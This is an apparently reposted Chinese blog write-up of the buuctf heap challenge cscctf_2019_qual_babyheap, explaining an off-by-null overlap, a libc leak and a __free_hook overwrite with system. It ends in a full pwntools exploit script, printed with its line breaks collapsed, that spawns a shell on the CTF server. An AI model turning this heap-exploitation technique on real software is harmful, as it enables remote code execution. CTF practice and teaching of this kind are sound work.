【buuctf】cscctf_2019_qual_babyheap
生活随笔
收集整理的這篇文章主要介紹了
【buuctf】cscctf_2019_qual_babyheap
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
buuctf【cscctf_2019_qual_babyheap】
今天找了一道100分題目,題目本身并沒有那么難
例行檢查
64位的程序,保護(hù)機(jī)制全開,放到IDA中分析
漏洞分析
函數(shù)功能很簡(jiǎn)單,功能基本齊全,漏洞點(diǎn)在creat()中,
當(dāng)我們申請(qǐng)堆塊,寫入內(nèi)容時(shí),會(huì)在最后多寫入一個(gè)’\x00’字節(jié),存在off by null 溢出,但程序只允許我們申請(qǐng)15個(gè)堆塊,因此要合理利用堆塊。
利用思路
1.通過for循環(huán)申請(qǐng)足夠多的堆塊,在將其釋放,構(gòu)造出unsorted bin
2.堆風(fēng)水,利用off by null 構(gòu)造overlap,泄露libc地址
3.在次通過off by null 來劫持free_hook指針,劫持為system
4.free掉’/bin/sh’,get shell
exp:
from pwn import * elf = ELF('./cscctf_2019_qual_babyheap') io = remote('node4.buuoj.cn',25675) #io = process('./cscctf_2019_qual_babyheap') libc = ELF('./libc-2.27.so') context.log_level='debug'def choice(c):io.recvuntil('>>')io.sendline(str(c))def add(index,size,content):choice(1)io.recvuntil(':')io.sendline(str(index))io.recvuntil(':')io.sendline(str(size))io.recvuntil(':')io.send(content)def show(index):choice(3)io.recvuntil(':')io.sendline(str(index))def free(index):choice(2)io.recvuntil(':')io.sendline(str(index))#堆風(fēng)水 for i in range(7):add(i,0xf0,'A')add(7,0xf0,'A') add(8,0x18,'A') add(9,0xf0,'A') add(10,0x28,'A') #free掉前7個(gè)0xf0的堆塊,再次free掉0xf0大小的堆塊就會(huì)進(jìn)入unsorted bin 中 for i in range(7):free(i)free(7)#進(jìn)入unsorted bin free(8) add(8,0x18,'A'*0x10+p64(0x120))#利用 off by null free(9)#觸發(fā)向上合并add(7,0xd0,'A') add(9,0x10,'A') show(8) leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) success(hex(leak)) libc_base = leak-0x3ebca0 success(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] success(hex(free_hook)) success(hex(system))#劫持free_hook指針 free(7) free(9)for i in range(7):add(i,0xf0,'A')add(9,0x10,'A') add(7,0x10,'A')add(11,0xf0,'A') #10 add(12,0xf0,'A') add(13,0x20,'A')for i in range(7):free(i)free(11) free(10) add(10,0x28,'A'*0x20+p64(0x130))#同樣利用off by null free(10) free(12)add(0,0x90,'A') add(1,0x70,'A'*0x50+p64(0x100)+p64(0x30)+p64(free_hook)) add(2,0x20,'A') add(3,0x20,p64(system))#覆寫 free_hook 為system add(4,0xf0,'/bin/sh\x00')free(4)#觸發(fā) #gdb.attach(io)io.interactive()
喜提flag!!
總結(jié)
以上是生活随笔為你收集整理的【buuctf】cscctf_2019_qual_babyheap的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 阿里云服务器1Mbps带宽到底能够达到什
- 下一篇: 图像饱和度处理